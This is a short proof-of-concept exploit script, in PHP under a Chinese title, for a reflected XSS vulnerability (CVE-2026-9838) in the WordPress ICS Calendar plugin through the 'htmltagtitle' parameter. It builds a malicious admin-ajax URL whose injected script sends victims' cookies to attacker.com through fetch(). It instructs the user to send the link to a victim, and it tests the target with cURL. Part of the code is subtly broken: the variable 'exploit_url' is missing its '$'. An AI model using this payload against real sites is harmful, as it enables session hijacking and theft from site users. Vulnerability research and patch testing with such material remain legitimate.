CVE-2026-9838 WordPress ICS Calendar插件反射型XSS漏洞

<?php /** * CVE-2026-9838 - ICS Calendar Reflected XSS PoC * Affected: ICS Calendar plugin for WordPress <= 12.0.9 * Vulnerability: Reflected XSS via 'htmltagtitle' parameter */ // Target WordPress site URL $target_url = 'https://target-wordpress-site.com'; // Malicious JavaScript payload to be executed in victim's browser // This example steals cookies and sends them to attacker's server $xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Construct the AJAX endpoint URL with malicious js_args // The htmltagtitle parameter bypasses shortcode allowlist check exploit_url = $target_url . '/wp-admin/admin-ajax.php' . '?action=r34ics_ajax' . '&js_args[htmltagtitle]=' . urlencode($xss_payload); echo "Exploit URL: " . exploit_url . "\n"; echo "Send this URL to victim. When they click, the XSS payload executes.\n"; // Alternative: Direct HTTP request simulation /* GET /wp-admin/admin-ajax.php?action=r34ics_ajax&js_args[htmltagtitle]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1 Host: target-wordpress-site.com */ // cURL-based exploit delivery $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, exploit_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); curl_close($ch); // Check if response contains unescaped payload (vulnerability confirmation) if (strpos($response, $xss_payload) !== false) { echo "[+] Vulnerability confirmed - payload reflected without sanitization\n"; } else { echo "[-] Payload not found in response or was sanitized\n"; } ?>